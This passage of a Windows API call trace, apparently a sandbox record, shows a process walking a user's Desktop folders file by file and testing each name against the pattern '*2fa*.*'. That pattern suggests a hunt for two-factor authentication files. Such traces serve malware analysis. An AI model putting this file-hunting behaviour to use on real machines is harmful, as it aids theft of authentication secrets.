dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ab40 [0099.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x211ab40, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", lpUsedDefaultChar=0x0) returned 40 [0099.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ab40 | out: hHeap=0x2110000) returned 1 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa198 | out: hHeap=0x2110000) returned 1 [0099.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130c0 [0099.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130c0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130c0 | out: hHeap=0x2110000) returned 1 [0099.629] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*2fa*.*") returned 0 [0099.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.629] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe1749e0, ftCreationTime.dwHighDateTime=0x1d7a6f3, ftLastAccessTime.dwLowDateTime=0x1cf42150, ftLastAccessTime.dwHighDateTime=0x1d7a707, ftLastWriteTime.dwLowDateTime=0x1cf42150, ftLastWriteTime.dwHighDateTime=0x1d7a707, nFileSizeHigh=0x0, nFileSizeLow=0xb2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2i7j8UItWZYJ.csv", cAlternateFileName="J2I7J8~1.CSV")) returned 1 [0099.630] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.630] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x31) returned 0x33aafe0 [0099.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x33aafe0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", lpUsedDefaultChar=0x0) returned 49 [0099.630] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0099.630] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aafe0 | out: hHeap=0x2110000) returned 1 [0099.630] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.630] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112fe8 [0099.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2112fe8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.630] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0099.630] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*2fa*.*") returned 0 [0099.630] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0099.630] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km0vcCJ", cAlternateFileName="")) returned 1 [0099.630] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.630] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.630] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.630] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.630] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.630] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf1b60, ftCreationTime.dwHighDateTime=0x1d7a0e0, ftLastAccessTime.dwLowDateTime=0x7ab1df80, ftLastAccessTime.dwHighDateTime=0x1d7a1bc, ftLastWriteTime.dwLowDateTime=0x7ab1df80, ftLastWriteTime.dwHighDateTime=0x1d7a1bc, nFileSizeHigh=0x0, nFileSizeLow=0x779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E2VUJLLm N3CcaeaCt.gif", cAlternateFileName="2E2VUJ~1.GIF")) returned 1 [0099.630] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0099.630] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112a08 [0099.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x2112a08, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", lpUsedDefaultChar=0x0) returned 63 [0099.631] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0099.631] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.631] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.631] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113120 [0099.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113120, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.631] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.631] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*2fa*.*") returned 0 [0099.631] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0099.631] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818870, ftCreationTime.dwHighDateTime=0x1d7a1c4, ftLastAccessTime.dwLowDateTime=0x67e2f6d0, ftLastAccessTime.dwHighDateTime=0x1d7a7d1, ftLastWriteTime.dwLowDateTime=0x67e2f6d0, ftLastWriteTime.dwHighDateTime=0x1d7a7d1, nFileSizeHigh=0x0, nFileSizeLow=0xa4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3hAtRVuC3.xlsx", cAlternateFileName="3HATRV~1.XLS")) returned 1 [0099.631] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.631] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33aaae0 [0099.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x33aaae0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.631] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c00 [0099.631] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaae0 | out: hHeap=0x2110000) returned 1 [0099.631] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.631] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130f0 [0099.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x21130f0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.632] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.632] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*2fa*.*") returned 0 [0099.632] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c00 | out: hHeap=0x2110000) returned 1 [0099.632] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FfCPM", cAlternateFileName="")) returned 1 [0099.632] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.632] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d18d8 [0099.632] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.632] FindNextFileW (in: hFindFile=0x6d18d8, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.632] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.632] FindNextFileW (in: hFindFile=0x6d18d8, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1aefaf0, ftCreationTime.dwHighDateTime=0x1d7a69d, ftLastAccessTime.dwLowDateTime=0x67e6a640, ftLastAccessTime.dwHighDateTime=0x1d7a853, ftLastWriteTime.dwLowDateTime=0x67e6a640, ftLastWriteTime.dwHighDateTime=0x1d7a853, nFileSizeHigh=0x0, nFileSizeLow=0xec1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv-6RbWd7Y0DsEw.m4a", cAlternateFileName="BV-6RB~1.M4A")) returned 1 [0099.632] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.632] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x33ab478 [0099.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x33ab478, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", lpUsedDefaultChar=0x0) returned 65 [0099.632] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa458 [0099.632] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab478 | out: hHeap=0x2110000) returned 1 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.633] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113060 [0099.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.633] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*2fa*.*") returned 0 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa458 | out: hHeap=0x2110000) returned 1 [0099.633] FindNextFileW (in: hFindFile=0x6d18d8, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19731fb0, ftCreationTime.dwHighDateTime=0x1d7b001, ftLastAccessTime.dwLowDateTime=0x1b75f5c0, ftLastAccessTime.dwHighDateTime=0x1d7b01b, ftLastWriteTime.dwLowDateTime=0x1b75f5c0, ftLastWriteTime.dwHighDateTime=0x1d7b01b, nFileSizeHigh=0x0, nFileSizeLow=0xbb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dBJ6cQr3Mn6cOVMZ_15.mkv", cAlternateFileName="DBJ6CQ~1.MKV")) returned 1 [0099.633] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0099.633] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x45) returned 0x33ab428 [0099.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x33ab428, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", lpUsedDefaultChar=0x0) returned 69 [0099.633] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa610 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab428 | out: hHeap=0x2110000) returned 1 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.633] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113090 [0099.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x2113090, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113090 | out: hHeap=0x2110000) returned 1 [0099.633] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*2fa*.*") returned 0 [0099.633] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa610 | out: hHeap=0x2110000) returned 1 [0099.633] FindNextFileW (in: hFindFile=0x6d18d8, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb87e60, ftCreationTime.dwHighDateTime=0x1d7a587, ftLastAccessTime.dwLowDateTime=0x2bf8b90, ftLastAccessTime.dwHighDateTime=0x1d7abca, ftLastWriteTime.dwLowDateTime=0x2bf8b90, ftLastWriteTime.dwHighDateTime=0x1d7abca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTOhWvt8XHWdX2Jb-Y9j.avi", cAlternateFileName="OTOHWV~1.AVI")) returned 1 [0099.633] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.633] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x33ab798 [0099.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x33ab798, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", lpUsedDefaultChar=0x0) returned 70 [0099.634] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa770 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab798 | out: hHeap=0x2110000) returned 1 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.634] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113000 [0099.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x2113000, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.634] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*2fa*.*") returned 0 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa770 | out: hHeap=0x2110000) returned 1 [0099.634] FindNextFileW (in: hFindFile=0x6d18d8, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 1 [0099.634] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.634] RtlAllocateHeap (HeapHandle=0x2110000, 